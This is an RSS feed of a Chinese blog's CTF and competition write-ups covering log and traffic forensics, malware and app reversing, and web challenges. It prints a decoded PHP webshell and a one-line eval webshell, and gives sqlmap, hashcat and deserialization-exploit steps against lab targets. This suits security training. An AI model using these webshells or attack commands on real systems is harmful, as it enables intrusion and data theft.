菜逼 - WriteUp
type: channel
link: https://blog.chaol.top/category/WP/
items: 某竞赛初赛的wp
items: 某竞赛决赛的WP
items: 上海市技能竞赛
items: MountainTai Writeup 2023
items: 首届某省数字赋能行业技能竞赛
items: 某次WriteUp
items: 某次练习的WriteUp
items: 从一道CTF题简单记录ARM的JNI逆向
items: CRC code writeup
items: "2022泰山杯"部分题解

某竞赛初赛的wp
type: item
date: 2024-01-12T07:30:21+00:00
description: 数据分析检测 收集信息如下: 身份證號：51********0728**10 md5：48ef223d1f70475f08e7206b9f36ed9d 直接hashcat爆破即可: hashcat -a 3 -m 0 48ef223d1f70475f08e7206b9f36ed9d 51?d?d?d?d?d?d?d?d0728?d?d10 flag{511421198307282710} 混淆流量分析 使用过滤器http.request.method == POST, 查看高危操作. 可以找到蚁剑的流量. 根据大小排序, 追踪流, 发现了如下字符串: synt是明显的凯撒加密, 用解密脚本破解即可: caesar.ps1 JSP后门排查 感觉根目录下的/tmp/config.sh很可疑, 因为权限是777. 原来是出题的文件: 定位到了木马文件, 之后删除. 发现原来还有定时任务 得到flag: Sqlserver异常日志分析 只有一个IP地址, 不可能是其他的了. 按照题目要求, "显示高级设置的命令"应该有个关键字"show". 直接搜索该关键字, 图中所示的英文与题目要求匹配, 提交即可: flag{192.168.0.152show_advanced_options} 个人 攻击IP地址 flag{10.10.11.28} Linux异常日志分析 就找登录失败被系统封禁的IP, 逐个提交尝试, 第二个IP就是 flag{103.68.187.159} Windows异常日志分析 建了一堆账户, 但是都给删除了. 唯独没删admin5 查看登录成功的记录: 其余的都是127.0.0.1, 只有这一个局域网IP 直接在powershell的日志里搜索ps1, 就得到了脚本名称: 最终flag: flag{192.168.75.139admin5found.ps1} 防火墙日志分析 任意文件读取, 直接搜索关键字file flag{/etc/httpd/conf/httpd.conf} Redis修复 ps -aux查看进程, 有一个redis, 猜测是redis无密码登录. 设置一下密码即可得到flag 恶意脚本流量分析 直接用wireshark导出所有对象, 压缩包里就有sql文件: flag{wstmart} 主机漏洞隐患修复 查看docker容器的启动文件/run.sh(出题方竟然没有在dockerfile里删除这个文件, 真有意思) 根据提示寻找三个程序的配置文件. 得到如下flag: flag{ssh5101a52614b29+httpd101a52614b29f1} 把ssh和httpd的顺序调换一下就是最终flag 服务器后门排查 这道题要求使用私钥登录, 事出反常必有妖. 登录后首先查看authorized_keys, 果然有个hacker的密钥, 注释掉即可得到flag: 异常工控流量分析 添加自定义字段data并按data排序, 得到部分flag: flag{??2c0163806149199f01431705cbe6??} 还有其余两个写操作: fd/5/1b 根据地址: 起始地址 长度 值 0 38 flag{??2c0163806149199f01431705cbe6??} 5 2 1b 34 1 5 35 2 fd 拼接得到flag: flag{1b2c0163806149199f01431705cbe5fd} Webshell后门排查 登录后查看提示文件/restart.sh, 发现运行的程序是tomcat. 查看tomcat进程的启动参数, 得到web根目录: 逐个查看jsp文件, 发现了木马文件controller.jsp. 删除掉即可(不能move, move不出flag, 我试过了) flag{e92f64d4-28b6-e3ab-6d05-65646ffb7cda}

某竞赛决赛的WP
type: item
date: 2024-01-12T07:16:47+00:00
description: 日志数据分析1 使用工具打开分析日志文件 flag{10.10.88.1012023-10-26_11:16:24} 日志数据分析2 搜索关键字: "/bin" 得到flag1{nzud9lghka0v95bu} 搜索关键字: flag[^s] 得到: flag2{s6owb741o2jcbixm} 拼接得到flag{nzud9lghka0v95bus6owb741o2jcbixm} 流量数据分析3 过滤POST请求: http.request.method == "POST" 发现有“=50=44=”字样的请求包, 追踪HTTP流, 得到如下内容: 解码Hex再解码Base64得到木马源代码. 解码 <?php @error_reporting(0); session_start(); $key="e45e329feb5d925b"; //è¯¥å¯é¥ä¸ºè¿æ¥å¯ç 32ä½md5å¼çå16ä½ï¼é»è®¤è¿æ¥å¯ç rebeyond $_SESSION['k']=$key; session_write_close(); $post=file_get_contents("php://input"); if(!extension_loaded('openssl')) { $t="base64_"."decode"; $post=$t($post.""); for($i=0;$i<strlen($post);$i++) { $post[$i] = $post[$i]^$key[$i+1&15]; } } else { $post=openssl_decrypt($post, "AES128", $key); } $arr=explode('|',$post); $func=$arr[0]; $params=$arr[1]; class C{public function __invoke($p) {eval($p."");}} //@call_user_func(new C(),$params) // 这里简单修改, 用kali运行起来 echo $post; ?> 在wireshark中寻找木马的响应包, 解密可得到flag flag{6ao6bnliyelpf2m5wudmt8ldudtnger8} 日志数据分析3 先过滤状态码为200的请求, 再过滤非static的请求, 最后提取http_body: Get-Content .\access.log | Where-Object {$_ -like "*status`":200*"} | Where-Object {$_ -notlike "*/static/*" } | % { $json = ConvertFrom-Json $_; $json.http_body } 因为一般的一句话木马写法是: <?php eval($_POST["passwd"]);?>, 所以POST请求的参数名就是密码. flag{5Zeo8A35Blcx6E0yq0Gk6iIu21TzQVLC} 恶意样本分析4 本来以为是个逆向呢, 一看图标是个python 解包python, 获得源码: python .\pyinstxtractor.py .\a.exe .\pycdc.exe -o src.py .\a.exe_extracted\CTF.pyc # Source Generated with Decompyle++ # File: CTF.pyc (Python 3.10) def func1(state, key, length): for i in range(256): state[i] = i j = 0 for i in range(256): j = (j + state[i] + key[i % length]) % 256 state[i] = state[j] state[j] = state[i] def func2(state, out, length): (i, j) = (0, 0) for idx in range(length): i = (i + 1) % 256 j = (j + state[i]) % 256 state[i] = state[j] state[j] = state[i] out[idx] ^= state[(state[i] + state[j]) % 256] def func(): state = (lambda .0: [ i for i in .0 ])(range(256)) key = (lambda .0: [ ord(char) for char in .0 ])('flag') input_st…

上海市技能竞赛
type: item
date: 2024-01-11T04:07:32+00:00
description: 题目附件, 解压密码是: K2R4OC0rWndrLStkY1UtK2E5SS0raS9jLStiT2ctK1lROC0r 题目书: 题目书.pdf 第一部分: 网络安全防护 平台没设置防爆破, 其实直接爆破就行. 唉, 太老实了 前端服务器检查 flag{015679} 0和1如图中标黄所示; 3其实也没设置, 但是提交flag试出来却是正确的; 5是提交flag试出来的; 6: export命令没有TMOUT变量; 7: 执行history命令发现完全不符合加固要求; 9: 读/etc/vsftpd.conf的配置文件, 似乎是开了log; 但是直接cat /var/log/vsftpd发现不存在该文件, 应该是没开的. 数据库服务器检查 flag{0134579} 0: 不确定. 按理说0应该是正确的才对? 见上述截图和后续的附图 1: 查看权限如上所示, 和题目要求不符; 3: 使用命令mount | grep vdb没有输出; umount /mnt无法卸载, 说明挂载不正确; 5: crontab -l, 可以看到是三个*, 说明不是每日备份而是每月备份; 7: cat ~/.ssh/auth*可以看到未正确配置公钥(把私钥弄进去了) 9: cat /etc/debian_version可以看到是12.4 关于0, 这里感觉0应该是正确的: Windows检查 不知道, 没做出来 第二部分: xxx 气死了, 没有的客户端怎么连? 配了半天l2tp就是连不上, 气死了. 第三部分: 网络安全处置 恶意样本分析 ida8.3打开就是, flag是上图中标黄的内容 Linux 后门分析 病毒是个多进程的程序, 运行后主进程会退出, 使用proxychains不能有效追踪. 改用用命令strace可以查看系统调用 strace -o out.log -f ./4ac7321fe33c604bf143e656046b3663 勒索程序分析 IDA看了下, 链接是在data端的字符串里的. 所以直接记事本打开, 按照题目提示查找关键词"http"和"pem格式公钥的特征"-----BEGIN RSA PUBLIC KEY-----"即可找到前两题的flag: 第三题需要静态分析. 符号表保留的很好, 有一个encrypt函数, 在里面有加密分块的大小: 社工钓鱼分析（文档类) 首先不是dotm先不考虑宏病毒. 不打开文件, 先解压看看. 这个在去年hw的时候还发过预警, 当时群里到处传. 在固定路径里找到上述文件即可 参考: CVE-2022-30190 Follina Office RCE分析【附自定义word钓鱼模板POC】 - komomon - 博客园 (cnblogs.com) 社工钓鱼分析（PE 类) 据说这个真的是个病毒 先清空dnspy里面打开的程序集, 之后用dnspy32打开, 查看其引用的包和类. 发现有WebResponse和WebRequest . 查看其被使用的记录, 可以看到如下代码是检测网络连接的, 得到url是https://google.com 右键编辑方法, 打一个patch, 让他跳过联网检测: 右键分析, 找到调用上述方法的地方: 根据题目提示, array大概率是密钥. 之后追踪该数组的赋值, 发现在这个地方可以取其最终值, 打一个断点, 继续单步调试获取到内存中的dll信息: flag{ArgenTINA.dll} flag{0x264C7298BEE400000000000000000000} 将patch过的木马放到虚拟机里运行, 杀毒软件给出了木马的文件名:

MountainTai Writeup 2023
type: item
date: 2023-11-02T02:49:40+00:00
description: 竹林寺 给了个码表, 在cyberchief里对比了一下, 长度和base32一样, 应该是换表的base32 basecrack直接解出flag dir_pacp 流量包里搜索"flag", 发现存在ftp-data流量 直接导出对象, 发现有字典. 爆破压缩包即可得到flag 孔子庙 修改png的高度得到flag 十八盘 打开key文件, 发现结尾有IEND字样, 怀疑可能是PNG文件. 正好有一个hint.png, 因为png文件包括IHEAD,IDATA,IEND三个标志性的部分, key文件缺少IHEAD和IDATA, 所以尝试用hint.png的部分内容进行补充: 尝试修改高度, 但是依然显示不出来. 利用ImHex打开hint.png进行分析, 在IDATA段中有部分内容表示"长度". 其值与hint.png的文件大小相近. 修改key.png的相应长度, 改为hex(5343). 得到了一个key. 手头能与misc + 图片 + key三个关键字匹配的东西只有"加密lsb隐写"和"steghide"了. 测试发现steghide只支持jpg, 用lsb解码可得到flag: 普照寺 输入'试了一下, 有waf. 输入"id=1"可以查询到文章 把链接复制给sqlmap, 可以直接注入: 最终得到flag: sqlmap -u http://192.168.200.254:25078/index.php?id=1 -D ctf -T flag --dump 日观峰 Ghidra逆向, 核心代码如下: base64_map = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; flag_len = strlen(flag_str); local_1a4 = (int)flag_len; if (local_1a4 % 3 == 0) { local_1c8[1] = local_1a4 / 3 << 2; } else { local_1c8[1] = (local_1a4 / 3) * 4 + 4; } local_114 = 0; for (local_134 = 0; local_134 < local_1c8[1] + -2; local_134 = local_134 + 4) { // 这里有一个异或操作, 而且是把base64的结果进行异或 abStack_182[(longlong)local_134 + 2] = base64_map[(int)(uint)(byte)flag_str[local_114] >> 2] ^ 4 ; abStack_182[(longlong)(local_134 + 1) + 2] = base64_map [(int)(((byte)flag_str[local_114] & 3) << 4 | (int)(uint)(byte)flag_str[local_114 + 1] >> 4 )] ^ 5; abStack_182[(longlong)(local_134 + 2) + 2] = base64_map [(int)(((byte)flag_str[local_114 + 1] & 0xf) << 2 | (int)(uint)(byte)flag_str[local_114 + 2] >> 6)] ^ 6; abStack_182[(longlong)(local_134 + 3) + 2] = base64_map[(int)((byte)flag_str[local_114 + 2] & 0x3f)] ^ 7; local_114 = local_114 + 3; } puVar2 = (undefined *)((longlong)local_1a4 % 3 & 0xffffffff); local_24 = (int)puVar2; if (local_24 == 1) { abStack_182[(longlong)(local_134 + -2) + 2] = 0x3d; abStack_182[(longlong)(local_134 + -1) + 2] = 0x3d; } else if (local_24 == 2) { abStack_182[(longlong)(local_134 + -1) + 2] = 0x3d; } for (local_134 = 0; local_134 < 42; local_134 = local_134 + 1) { puVar2 = &DAT_1400dc000; if (abStack_182[(longl…

首届某省数字赋能行业技能竞赛
type: item
date: 2023-10-31T12:06:00+00:00
description: tvAPp 在jadx里面搜索"flag"关键词, 找到两个加解密类和一个编码类, 提取出代码, 直接运行即可. 代码如下, 注意需要将引用自Android的Base64类更换成Java包的Base64类: import java.security.spec.KeySpec; import javax.crypto.Cipher; import javax.crypto.SecretKey; import javax.crypto.SecretKeyFactory; import javax.crypto.spec.DESKeySpec; import java.util.Base64; /* loaded from: classes6.dex */ public class DESUtil { private static final String ALGORITHM = "DES"; private static final String CHARSET = "UTF-8"; private static final String SECRET_KEY = AESUtils.decrypt("pWAUtB9MRlb87cI4jnhScBYDUxyJDov9646HaVpPhv8=", "wyq6hxm1cqmq4w8r"); private static final String TRANSFORMATION = "DES/ECB/PKCS5Padding"; public static String decrypt(String encryptedData) throws Exception { KeySpec keySpec = new DESKeySpec(SECRET_KEY.getBytes("UTF-8")); SecretKeyFactory keyFactory = SecretKeyFactory.getInstance(ALGORITHM); SecretKey secretKey = keyFactory.generateSecret(keySpec); Cipher cipher = Cipher.getInstance(TRANSFORMATION); cipher.init(2, secretKey); byte[] encryptedBytes = Base64.getDecoder().decode(encryptedData); byte[] decryptedBytes = cipher.doFinal(encryptedBytes); return new String(decryptedBytes, "UTF-8"); } } import java.util.Base64; import java.nio.charset.Charset; import java.nio.charset.StandardCharsets; import javax.crypto.Cipher; import javax.crypto.spec.SecretKeySpec; /* loaded from: classes6.dex */ public class AESUtils { private static final Charset CHARSET_UTF8 = StandardCharsets.UTF_8; private static final String CIPHER_ALGORITHM = "AES/ECB/PKCS5Padding"; private static final String DEFAULT_VALUE = "0"; private static final String KEY_ALGORITHM = "AES"; public static final int SECRET_KEY_LENGTH = 16; public static String encrypt(String data, String secretKey) { try { Cipher cipher = Cipher.getInstance(CIPHER_ALGORITHM); cipher.init(1, getSecretKey(secretKey)); byte[] encryptByte = cipher.doFinal(data.getBytes(CHARSET_UTF8)); return base64Encode(encryptByte); } catch (Exception e) { handleException(e); return null; } } public st…

某次WriteUp
type: item
date: 2023-10-28T05:01:03+00:00
description: Surfer 为计分器dom对象添加断点, 当该dom的内容发生变化时将进入js的调试断点. 经调试, 在下述代码处可获取全局状态对象: 修改分数, 即可直接通关: $e.data.game.distance.y = 1145141919800 同时, 在文件surf.bundle.js中搜索关键字flag可以得到以下代码, 发现是一处游戏"秘籍": 在游戏中依次按下按键IWANTFLAG([73, 87, 65, 78, 84, 70, 76, 65, 71]), 可以得到以下内容: 解码得到Hell0Pixel 根据通关后的SVG的提示, 使用openssl进行解密, 得到flag: echo "IBzRq4skydTTpG2Mi/DIFg86iLQCSRv6Lyk+r8aZWlQwKCF3W7yoLhDtMioJHHBN" |openssl.exe enc -d -aes-128-ecb -base64 -K 48656c6c30506978656c # hex string is too short, padding with zero bytes to length # flag{a425e172-cb19-4b48-95ee-0098b1f5aa56} my blog 根据网页源代码的提示访问/s3cret., 使用{{1+1}}发现存在SSTI 直接使用{{config}}可以得到密钥: 解码token可以得到身份校验字符串: {'user': 'guest'}. 伪造admin身份, 得到flag: backup 存在robots.txt, 可以获取sql数据库备份文件 打开文件找到账号和密码, 登录即可获得flag: ezjava 使用口令admin:admin即可登录, 登录后提示是Shiro. 搜索Shiro相关漏洞, 发现如下内容: 打开漏洞利用工具, 使用文件中提供的key逐个尝试, 发现第一个key就有效. 执行命令得到flag: weblogic 根据题目提示, fscan工具探测其存在weblogic反序列化漏洞 搜索漏洞利用工具: 脚本很长就不贴了. 执行命令可得到flag: 模板小王子 在首页注释中发现存在文件读取, 从响应头中看出是php的站, 补充.php后缀读取文件: 读取index.php和template.html代码并将base64转换为文本文件: 在注册页面注册用户admin:admin, 登录后生成模板/sandbox/21232f297a57a5a743894a0e4a801fc3.php. 同样读取该模板源代码. //index.php if(isset($_POST['punctuation'])){ if (strlen($_POST['user']) > 6){ echo(" "); } elseif(strlen($_POST['website']) > 25){ echo(" "); } elseif(strlen($_POST['punctuation']) > 120){ echo(" "); } else{ if(preg_match('/[^\w\/\(\)\*<>]/', $_POST['user']) === 0){ if (preg_match('/[^\w\/\*:\.\;\(\)\n<>]/', $_POST['website']) === 0){ $_POST['punctuation'] = preg_replace("/[a-zA-Z2-9!'@#%^&:{}\-<\?>\"|`~\\\\]/"," ",$_POST['punctuation']); $template = file_get_contents('./template.html'); $content = str_replace("__USER__", $_POST['user'], $template); $content = str_replace("__PASS__", $hash_pass, $content); $content = str_replace("__WEBSITE__", $_POST['website'], $content); $content = str_replace("__PUNCH__", $_POST['punctuation'], $content); $content2 = str_replace("__USER__", $_POST['user'], $template); $content2 = str_replace("__PASS__", $hash_pass, $content); $content2 = str_repl…

某次练习的WriteUp
type: item
date: 2023-09-11T12:49:46+00:00
description: 下载题目附件 1. 高空作业 使用foremost可以得到压缩包, 爆破一下, 密码是123456 打开之后hex转码, 再base64转码, 得到flag flag{311ea792e41a3f9db9328864abf3516a} 2. host.zip 用HxD打开看看是一个逆序的zip, 用脚本处理一下: $file = [System.IO.File]::ReadAllBytes(".\1689123621450788@+@host.zip") [array]::Reverse($file) [System.IO.File]::WriteAllBytes("host.zip", $file) 解压, 重命名xlsx为zip, 再解压(因为xlsx打不开), 在文件夹里搜索flag 得到编码的flag: 👝👣👘👞👲👫👟👠👪👠👪👫👩👬👜👴 是个base100, 用python3 basecrack.py -b 👝👣👘👞👲👫👟👠👪👠👪👫👩👬👜👴 解码得到flag{thisistrue} 3. fake_useragant 这一道题可以在GitHub找到仓库源码, diff一下可以直接定位到关键代码. 当然没有源码也没关系, 一个一个文件翻看也能找到特殊的地方: 在urllib2.py中可以找到: import pickle as json def urlparse(): json.loads(base64.b64decode(b'[binary]')) pickle反序列化, 直接base64解码或者用pickletools.dis函数解码这些操作码(但是这题不需要分析pickle的字节码, 因此直接base64解码就够了) 得到如下代码: html=open(base64.b64decode(b"ZmxhZy5wbmc="), "rb").read()[1410:] json.loads(base64.b64decode(html[:-3][::-1]+html[-3:])) 再解: enc="" for i in range(0,len(flag)): d=ord(flag[i])^i enc+=\'{:02x}\'.format(d) print("enc=666d63647f353f666e6c6f3b353e6a392570747170272524207c232e2f257d2c431816111758") 逆向: $enc = [int[]] -split ("666d63647f353f666e6c6f3b353e6a392570747170272524207c232e2f257d2c431816111758" -replace "(..)",'0x$1 ') $flag = 0..$enc.Count | % { [char]($enc[$_] -bxor $_) } echo "$($flag -join '')" # flag{09afee093d65afbd2338e9538c3c9423}& 4. elf1 首先逆向分析一下, 用ghidra打开, 关键代码如下所示: puts("Welcome!"); do { while( true ) { while( true ) { while( true ) { memset(&action,0,1024); read(0,&action,1024); if (action != 0x2002) break; login_flag = 2; puts("LOGIN OUT"); } if (0x2002 < action) break; if (action == 0x2001) { // skip some thing printf("[+] username: %s\n",&username); printf("[+] password: %s\n",&password); iVar1 = db_query(&username,&password); if (iVar1 == 0) { login_flag = 0; puts("LOGIN SUCCESS"); } else { puts("LOGIN FAIL"); } } } if (action == 0x2003) break; if ((action == 0x2004) && (login_flag == 0)) { puts("PING IP"); ip_sr = 0; local_820 = 0; snprintf((char *)&ip_sr,16,"%s",&local_816); printf("[+] IP: %s\n",&ip_sr); puVar3 = local_418…

从一道CTF题简单记录ARM的JNI逆向
type: item
date: 2023-09-01T03:24:00+00:00
description: 题目链接: LoopAndLoop(阿里CTF) - Bugku CTF 反编译 Java // Target String in_str = ed.getText().toString(); try { int in_int = Integer.parseInt(in_str); if (MainActivity.this.check(in_int, 99) == 1835996258) { tv1.setText("The flag is:"); tv2.setText("alictf{" + MainActivity.this.stringFromJNI2(in_int) + "}"); return; } tv1.setText("Not Right!"); } catch (NumberFormatException e) { tv1.setText("Not a Valid Integer number"); } // Function chec is a jni function public int check(int input, int s) { return chec(input, s); } public int check1(int input, int s) { int t = input; for (int i = 1; i < 100; i++) { t += i; } return chec(t, s); } public int check2(int input, int s) { int t = input; if (s % 2 == 0) { for (int i = 1; i < 1000; i++) { t += i; } return chec(t, s); } for (int i2 = 1; i2 < 1000; i2++) { t -= i2; } return chec(t, s); } public int check3(int input, int s) { int t = input; for (int i = 1; i < 10000; i++) { t += i; } return chec(t, s); } C Java_net_bluelotus_tomorrow_easyandroid_MainActivity_chec (int *param_1,_jmethodID *param_2,undefined4 param_3,int param_4) { char *pcVar1; int extraout_r1; undefined4 local_24[4]; pcVar1 = (char *)(**(code **)(*param_1 + 0x18)) (param_1,"net/bluelotus/tomorrow/easyandroid/MainActivity"); local_24[0] = _JNIEnv::GetMethodID((_jclass *)param_1,pcVar1,"check1"); local_24[1] = _JNIEnv::GetMethodID((_jclass *)param_1,pcVar1,"check2"); local_24[2] = _JNIEnv::GetMethodID((_jclass *)param_1,pcVar1,"check3"); if (0 < param_4 + -1) { __aeabi_idivmod(param_4 << 1,3); param_3 = _JNIEnv::CallIntMethod ((_jobject *)param_1,param_2,local_24[extraout_r1],param_3,param_4 + -1); } return param_3; } Jni for ARM 官方文档中函数GetMethodID和CallIntMethod的签名如下: jmethodID GetMethodID(JNIEnv *env, jclass clazz, const char *name, const char *sig); // NativeType Call<type>Method(JNIEnv *env, jobject obj, jmethodID methodID, ...); NativeType Call<type>MethodA(JNIEnv *env, jobject obj, jmethodID methodID, const jvalue *args); NativeType Call<type>MethodV(JNIEnv *env…

CRC code writeup
type: item
date: 2022-09-21T09:41:24+00:00
description: 题目来源: 第七届全国工控系统信息安全攻防竞赛 CRCcode WriteUp 下载题目附件, 根据题目提示Modbus RTU, 查找该协议相关的数据帧格式资料. 据资料可知: (图源) 根据题目, 可以猜测本题解应当与CRC校验有关. 利用在线CRC计算工具, 手动尝试对附件中的Modbus RTU数据进行CRC校验, 附件中存在CRC校验不通过的数据. 在控制台中编写Javascript脚本, 利用该Web工具依次对附件中的数据包进行CRC校验, 可得到校验正确的数据. 将校验正确的数据复制并粘贴到Excel表格软件中, 利用Excel内置的"文本转换成表格工具(文本分列向导)" 将数据按照Modbus RTU协议帧的格式分开, 以便后续分析. 利用Excel的筛选功能, 可以根据设备id/功能码等不同字段的数据包分别进行分析. 最终发现, 在向设备ID为1的设备执行写操作时, 其负载数据可以正常解码: 过滤数据包 解码负载数据 最终测试发现, 按照地址排序，提取出数据, 可得到flag 最后附上在Chrome控制台中执行的Javascript代码: const _chr = chr; chr = () => { _chr(); return document.querySelector("#s4").innerText; } let arr = ["010548fda4bb519e", "..............."]; // 粘贴附件里的数据包. let out = []; arr.forEach(ele => { document.querySelector("#input1").value = ele.substr(0, 12) ; out.push(chr().toLowerCase()); }); let i = 0; // let _csv = ""; arr.forEach(ele => { if(ele.substr(12, 4) == out[i]) { console.log(ele); // _csv += `${ele.substr(0,2)},${ele.substr(2,2)},${ele.substr(4,4)},${ele.substr(8,4)},${ele.substr(12,4)}`; } i++; });

"2022泰山杯"部分题解
type: item
date: 2022-09-11T04:15:00+00:00
description: 附件下载 zzip 使用binwalk分析图片, 发现存在zip尾部特征. 随便找一个正经的zip文件, 使用HxD补全zip的头: unzip命令解压得到flag: good_day 发现存在文件包含, 使用php伪协议读取flag.php文件得到flag: hide 是C#的应用, 使用dnSpy打开, 动态调试程序, 在btnStart_Click的事件响应函数里发现为label赋值的函数, 逐个运行得到一堆字符: all{7liuf}Pgo 怀疑flag可能跟label控件的位置有关, 使用HTML和css绝对定位模拟label标签的显示效果, 得到flag: flag{Plo7} x+1 13, 12, 7, 29, 67, 92, 80, 83, 80, 84, 87, 26, 1, 5, 8, 1, 6, 92, 0, 5, 84, 83, 91, 92, 87, 29, 81, 90, 13, 86, 6, 2, 81, 3, 91, 7, 24 数值看上去比较离散, 基本可以排除凯撒加密, 尝试异或运算: 编写脚本解出flag: $x = 13, 12, 7, 29, 67, 92, 80, 83, 80, 84, 87, 26, 1, 5, 8, 1, 6, 92, 0, 5, 84, 83, 91, 92, 87, 29, 81, 90, 13, 86, 6, 2, 81, 3, 91, 7, 24; $flag = @([int][char]'f'); $x | % { $flag += ($_ -bxor $flag[-1]) + 1; } ($flag | % { [char]$_ } ) -join ""; easysuanfa 使用Ghidra反编译, 利用字符串提示跳转到关键代码: 其中DAT_004021b4和DAT_00402158均为双字的数组, 算法核心部分为: uVar5 = uVar7 & 0x80000003; if ((int)uVar5 < 0) { uVar5 = (uVar5 - 1 | 0xfffffffc) + 1; } uVar5 = (&DAT_004021b4)[uVar5]; uVar2 = (int)(char)(&stack0xffffffd8)[uVar7]; while (uVar5 != 0) { uVar6 = uVar2 ^ uVar5; uVar5 = (uVar2 & uVar5) * 2; uVar2 = uVar6; } if (uVar2 != (&DAT_00402158)[uVar7]) { pcVar8 = "Try again!:(`"; goto LAB_00401150; } uVar7 = uVar7 + 1; 使用ida pro反编译的话, 得到的代码更简洁明了: 在data段中为DAT_004021b4和DAT_00402158创建dword数组, 长度分别为4和23 将两个关键数组复制出来, 编写脚本爆破flag: $flag_arr = 0x129A,0x56E4,0x87C6,0x4388,0x12AF,0x56BF,0x87CE,0x4397,0x1299,0x56D7,0x87D2,0x4386,0x1293,0x56E5,0x87D4,0x4393,0x1299,0x56D7,0x87C7,0x438A,0x12A8,0x56EB,0x87E2 function enc($chr, $index = 0) { $key_arr = 0x1234,0x5678,0x8765,0x4321; $key = $key_arr[$index % 4]; while ($key -ne 0) { $t = $chr -bxor $key; $key = ($chr -band $key) * 2; $chr = $t; } return $chr; } 1..23 | % { $index = $_ - 1; foreach ($chr in [int][char]"0" .. 126) { #'0'-'~' $c = $chr; if ((enc -chr $chr -index $index) -eq $flag_arr[$index]) { $flag_arr[$index] = $c; break; } } } ($flag_arr | % { [char]$_ }) -join "" AnalyseMe2 一道流量分析题, 根据exp.py, 编写脚本从流量包中提取有效的数据. 使用tshark工具将流量包解析成json格式以便使用脚本处理. 最终得到的content为: ($content | % { […